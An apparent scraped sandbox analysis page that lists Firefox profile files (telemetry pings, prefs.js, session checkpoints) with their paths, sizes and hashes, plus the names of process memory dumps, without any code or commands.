Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\8fe4809d-fda1-4ac7-b2b6-7bc105e284f0
Size 235B
SHA256 9e361e614765887e4beed7ad415023ad4a9d980b19046ee9ce32de6e6604a327
MD5 0359a78a02c181a25fb9703fc28f2429
SHA1 d2f5842c8a7b091dec57fa9132a4a51b2b9f29f3
SHA512 c9bfa8eea79b44c45c22d3eb3630e428331bfb69d5c36b2430681c38d7606f2b6d5aeb5ce95b1cdf1f12ef06ad7160f2147519e9cf61be9f57072d37309f85a7
TLSH
T147D0978014AC232E0D100F0BF0A0A8E630494C3320F2E850E9514974CBFA9C401A182B
MD5 SHA1 SHA512 TLSH

Submit Download

9543a9e7-4040-4a23-a6e3-08630779ab61

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\9543a9e7-4040-4a23-a6e3-08630779ab61
Size 2KB
SHA256 032842e17f22b931e2ff28b8c00d5b3b0a74d2277f06b9707d1726ba2890035d
MD5 1d30e50d54e66e685a77f1628e164a28
SHA1 ae84c0527f64a34618560d6c2992b69954f95890
SHA512 0d8fb44b083fe5588e1bdd5a71913fbd729a4cfd931197b99b1c4ac0f5ead8ea3cffcbb10d2016bfa4d3f48b6390da1bd423481345811e77d0f44dc4dca8634d
TLSH
T10541435C357C4CB69CEEE15E95C23B8987B08A0740C31C432E51CF0CCC96A9A336B42B
MD5 SHA1 SHA512 TLSH

Submit Download

96738293-1b30-45bb-bf3e-7f9e9dff75c2

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\96738293-1b30-45bb-bf3e-7f9e9dff75c2
Size 914B
SHA256 3fa230ac5aef234d0d13cd5b0a19d4fb81339ef07a1347b698482cfc6e2af6c8
MD5 49e83f1513ed941ae87c3b1b0db668e8
SHA1 5cba06a997bd2fc3d9eeccf363e0627113295152
SHA512 07a8c9d7faf186a560c381c2e6996360e8a44c1f3e2fc3401bd30eb5e3dcf350ac30ca9de1eaf29da0370d7eb82f4702c7902ed64ad6f99821bac4b5a992c3be
TLSH
T1E011D0C58A39A5B28D78D29BD4D57B424BF43613C0C64D043EB05E140DAA56EA76B347
MD5 SHA1 SHA512 TLSH

Submit Download

a76e10ba-1614-483c-99d0-502056e7aae1

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\a76e10ba-1614-483c-99d0-502056e7aae1
Size 896B
SHA256 c19ec3bf16ce9b953624e9ef20d0bf49ff0e6baec03971c9c522887c4825130f
MD5 e7ce5a2abc58344fb7a10581394f3d05
SHA1 5e90738b6e2235d18f849f193449399be643ad34
SHA512 34172a00911cc1e7c2bd1858319d317f8e48b8449364f57d7202d97f4ab7a691278eab62ce54b4c1c57b25eedc4a0f897b39d1d59208bfa72f8ee942dfd512fd
TLSH
T12B11D0848A3975F28D78928B94E43B024BE47213C0C74D143D605A284DAB16FA357307
MD5 SHA1 SHA512 TLSH

Submit Download

af89911b-9c22-4a4e-8696-26431777f069

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\af89911b-9c22-4a4e-8696-26431777f069
Size 3KB
SHA256 4f089a46020ddb164772086a3aaf5fdde895cd501e020f30991c3341967c1a1f
MD5 3d7dd76928e1248492ee533ca987972e
SHA1 ee83649248311fd2a58f22b4ec7e801ce48ff8ee
SHA512 191d0bf62c4516417f9d25b9fb18ccd10d081fb9913f37676c45257fdd5ebb9839727655ae995583ba0aae04e25d91490997069df95f01542581e9b1d42a5e82
TLSH
T1956144712964A9738FFCA04193776E958ADE33CF58470BCD22ADCD2446B8468478B26B
MD5 SHA1 SHA512 TLSH

Submit Download

ba88ea0e-2be3-44d0-af43-d54f428015c5

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\ba88ea0e-2be3-44d0-af43-d54f428015c5
Size 16KB
SHA256 1f522bc22fcc5599f96406fd8b457d7bb673458f1b488e855172fc668e3bd005
MD5 f033eca96195d456790ec63ca06c612d
SHA1 15f55c1165a7272bfc195efafcc5eb7a19c476c5
SHA512 799ef795f29fd8f8c138d17c833e19c61ac4a4bef4324dd27ad49c45f524405c2e0e0ee39ba08b80034193288df41816c79a6977689fefbdcaa5470c2096ff36
SSDEEP 192:OeuRzxSJhRydbXuK3mS0YDGP/tlCMSEg2re84LtY96/J5Zmw1pzimCYBBOOgVaaL:eRlSJHydbeK2w9YejFCYB21ftZ
TLSH
T1D072DA166820497BC691E35898F87FC3E1F53CCB4C429FC997E0BD0929DE0AD112784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bc5df016-5657-4e2b-8920-d04e0a606458

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\bc5df016-5657-4e2b-8920-d04e0a606458
Size 3KB
SHA256 0c9e4886058756153833a8cef745e13106bd0abaa07ee3e3ae8edceb77a2156c
MD5 2dc107d54f2db322d1e17ae00d29612e
SHA1 01896c259d8d20d99ab6f26d2cf95a5ee582c59b
SHA512 f795cf3ea0ad4b49dae7c6f4fd77de3e9e3e182dc92612b61f52f32d1d9eb22f039d0ee1873387891673426558951ee5b929c38252da67095c115b614e302b6c
TLSH
T1A66165711564B9738FFCA041E3776D948AEE33CFA8470B8D21AD8D2446B846847CB36B
MD5 SHA1 SHA512 TLSH

Submit Download

c0217db9-547b-4057-87da-9e8dbe223e70

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\c0217db9-547b-4057-87da-9e8dbe223e70
Size 896B
SHA256 3bf7a028cdf1b6b0195a9b88dc3e16e536823b025dda3ae14903dc90c02930e4
MD5 bdbb07d416d41daeb32c61ed2f945f52
SHA1 95deee1a89743749e5ae941675f1579a0d7081e3
SHA512 06a97a21cd69205ee673586e67a1be5b7f0e68a6c819696c96f21e22f5d7788d95083d801346a94b65984639821188346f6510301aada6b648b7993085f6cad2
TLSH
T1C6110485CA39A5B28CB8D28BC4E43B424BF43523C0C74D043EA05A285DAA16F9767307
MD5 SHA1 SHA512 TLSH

Submit Download

dd4c3d8c-ff76-4c8a-ac18-e8da4548c63b

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\dd4c3d8c-ff76-4c8a-ac18-e8da4548c63b
Size 235B
SHA256 af7cb07e8c2b2f6cf5a2514d24b97baa0af67a52f8e5a7133407aacfccf7769a
MD5 31f5c1d16a4a3965f0577650a8185c5a
SHA1 37eadbef22a55241da4be31304fb972f5c435ebe
SHA512 c390e84c81b927a7776c5c88bb8062bc9ec4c6ac7f8930c52b06072fb623738899baae31cb2ed12bc715c06591f345ae9c01eeb81cb0d9471ad725ec700cdb5e
TLSH
T117D0978A249C272C48090F1AF0E238C230448C3326A2A85086A086B889B9AD401A2817
MD5 SHA1 SHA512 TLSH

Submit Download

dfcf2587-c97f-4e2d-8f69-09244202a90c

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\datareporting\glean\pending_pings\dfcf2587-c97f-4e2d-8f69-09244202a90c
Size 3KB
SHA256 0980ebf1d8ccf8d7d4cd2c9b3ec8b65b738dd25252dbab0f83f0b7be1952bf98
MD5 47055ddeb715475fa09272588a8089b1
SHA1 0da55c513829378dc59ebef0b08d8ec421e2b584
SHA512 3575f2e06e3b3029c12c82f90945cd71871aabb6068a057f1ef1cb0ed9b8c215b10c20cf6bf7b4e0b252c1e7e0e463de075e5b9c21d537c45a5b1c9aa4afa811
TLSH
T1716155712564A8738FE8B04493776A948EDE33CF58470BCD21AD8D2446E8868578B36B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\prefs-1.js
Size 6KB
SHA256 fabd530daccb96b46cf13b317552fceb34dfaeb3d8b58217d95f7eb14c6f9e6b
MD5 3def1abdd2496520a29e933c700fd13f
SHA1 9eba887463802416654459d02ea39207b4dfd204
SHA512 5d0798ea090b4e2b78eb88305c6804c9f80528ae195e4b76da167ce5a53d94f7d8653bc4da5f70cb886f814dac7237e457c21b1a018e22f300e8e0e15aac99af
SSDEEP 96:xHDUTU0qGqwfCjDbB1zSGMrSSl8pdv9jCn1lHQ25YAp+Bw88n8L4cnMV8rkt:NXRwfCjDFzsSSGWZQ2DEBw88ly0
TLSH
T156E12F789408CB6F64B6776CAC688D716AB2013BB7BF68C650B94484054CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\prefs-1.js
Size 6KB
SHA256 0bac13550b5a0128837e710fd03bc83a9df85a2d35eb1e0ed090ba0d99a7a0ae
MD5 0ce3747ace4795042cafd79e42cc0dd4
SHA1 1ca0bdc5444c1160544d916ed0908a4c18ca5320
SHA512 f0329a2d59328e3bdce1569e612bb4de280d336848ccf98823817495f36da10204304644facf76eb009316248efbd497cd5cecd886c81f397244bf6fe0f62442
SSDEEP 96:xHDUTU0qGqwfCjDbB1zSwMJSSl8pdv9jLn1lHQ25YAp+Bw88n8L4cnMV8rkt:NXRwfCjDFZ2SSGbZQ2DEBw88ly0
TLSH
T1CFE120789408CB6F64B6776CAC688D316AB2413BB7BF68C750B944C4050CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\prefs.js
Size 6KB
SHA256 d052df74c98eef97105d5926c02d3cde7a0d0b1fad3cf06dbbd6a6fca4069e00
MD5 bd95c20ad77362e11697f15ade073f06
SHA1 98d062b81cfd88103ea55737e0fac832fe5a7c5a
SHA512 549cf40aec0293f45950dcf9dc103d1c09b7580fc8e6503ad47f25a471eed0cdde24a9bb65097cbb78e42791a91d5107570da28951936770ca59f930f8167ecc
SSDEEP 96:xHDUTU0qGqwfCjKjGnj81zSpJaQSSl8pdv9jpMn1lHQ25YAp+Bw88n8L4cnMV81t:NXRwfCjFgoJaQSSGuZQ2DEBw88lyv
TLSH
T120E121789408CB7F64B6776CAC688D716AB2413BB7BF68C750B94484054CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\sessionCheckpoints.json
Size 53B
SHA256 792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da
MD5 ea8b62857dfdbd3d0be7d7e4a954ec9a
SHA1 b43bc4b3ea206a02ef8f63d5bfad0c96bf2a3b2a
SHA512 076ee83534f42563046d25086166f82e1a3ec61840c113aec67abe2d8195daa247d827d0c54e7e8f8a1bbf2d082a3763577587e84342ec160ff97905243e6d19
TLSH
T10190024AC8590431DE42251823647B90A61E04A254250101526CBC88046B0155486483
MD5 SHA1 SHA512 TLSH

Submit Download

sessionCheckpoints.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\unfswcr7.default-release\sessionCheckpoints.json
Size 90B
SHA256 00ad9799527c3fd21f3a85012565eae817490f3e0d417413bf9567bb5909f6a2
MD5 c4ab2ee59ca41b6d6a6ea911f35bdc00
SHA1 5942cd6505fc8a9daba403b082067e1cdefdfbc4
SHA512 71ea16900479e6af161e0aad08c8d1e9ded5868a8d848e7647272f3002e2f2013e16382b677abe3c6f17792a26293b9e27ec78e16f00bd24ba3d21072bd1cae2
TLSH
T1D4B01205C8181030CD43140873743B429B2E00B231500100317CF88C203B0134556883
MD5 SHA1 SHA512 TLSH

Submit Download

memory/408-3173-0x00000210E09D0000-0x00000210E0A3B000-memory.dmp

Download

memory/1144-57-0x0000023BE2C80000-0x0000023BE2C92000-memory.dmp

Download

memory/1348-22-0x00000261AF710000-0x00000261AF77B000-memory.dmp

Download

memory/2460-3-0x0000029CEDE70000-0x0000029CEDE92000-memory.dmp

Download

memory/2460-2-0x0000029CEDDF0000-0x0000029CEDE00000-memory.dmp

Download

memory/2460-11-0x0000029CEDDF0000-0x0000029CEDE00000-memory.dmp

Download

memory/2460-12-0x0000029CEE3D0000-0x0000029CEE3EA000-memory.dmp

Download

memory/2460-35-0x0000029CED9C0000-0x0000029CED9CC000-memory.dmp

Download

memory/2460-36-0x0000029CEDEA0000-0x0000029CEDF0B000-memory.dmp

Download

memory/2460-29-0x0000029CEDDF0000-0x0000029CEDE00000-memory.dmp

Download

memory/3544-3207-0x0000021C55A90000-0x0000021C55AFB000-memory.dmp

Download

memory/4084-24-0x0000018B313F0000-0x0000018B3145B000-memory.dmp

Download

memory/5116-1790-0x00000260E39B0000-0x00000260E39C2000-memory.dmp

Download

memory/5244-1-0x000001CA895A0000-0x000001CA895AC000-memory.dmp

Download

memory/5244-0-0x000001CA895A0000-0x000001CA895AC000-memory.dmp

Download

memory/5328-39-0x0000000006030000-0x0000000006096000-memory.dmp

Download

memory/5328-3208-0x0000000006910000-0x0000000006932000-memory.dmp

Download

memory/5328-3209-0x0000000007060000-0x00000000073B4000-memory.dmp

Download

memory/5328-41-0x0000000006430000-0x00000000065F2000-memory.dmp

Download

memory/5328-43-0x0000000006360000-0x00000000063B0000-memory.dmp

Download

memory/5328-44-0x0000000006B30000-0x000000000705C000-memory.dmp

Download

memory/5328-40-0x00000000061A0000-0x0000000006252000-memory.dmp

Download

memory/5328-37-0x00000000000B0000-0x000000000016E000-memory.dmp

Download

memory/5328-3228-0x00000000066A0000-0x000000000679A000-memory.dmp

Download

memory/5328-3219-0x00000000066A0000-0x000000000679A000-memory.dmp

Download

memory/5328-384-0x00000000066A0000-0x000000000679A000-memory.dmp

Download

memory/5328-3220-0x0000000006970000-0x0000000006977000-memory.dmp

Download

memory/5328-30-0x00000000000B0000-0x000000000017C000-memory.dmp

Download

memory/5328-3217-0x0000000007DB0000-0x0000000007DBA000-memory.dmp

Download

memory/5328-383-0x00000000051D0000-0x000000000522F000-memory.dmp

Download

memory/5328-38-0x0000000005890000-0x0000000005E34000-memory.dmp

Download

memory/5328-3216-0x0000000007DD0000-0x0000000007E62000-memory.dmp

Download

memory/5328-42-0x00000000062E0000-0x0000000006356000-memory.dmp

Download

memory/5328-45-0x0000000006650000-0x000000000666E000-memory.dmp

Download

memory/5620-23-0x0000020EC6350000-0x0000020EC63BB000-memory.dmp

Download

memory/5916-28-0x00000201188C0000-0x000002011892B000-memory.dmp

Download

memory/5916-27-0x0000020100060000-0x000002010006C000-memory.dmp

Download

memory/5916-14-0x00000201187B0000-0x00000201187C0000-memory.dmp

Download

memory/5916-13-0x00000201187B0000-0x00000201187C0000-memory.dmp

Download

memory/6728-3180-0x000002C6F28B0000-0x000002C6F291B000-memory.dmp

Download

memory/6948-3206-0x00000262E48A0000-0x00000262E490B000-memory.dmp

Download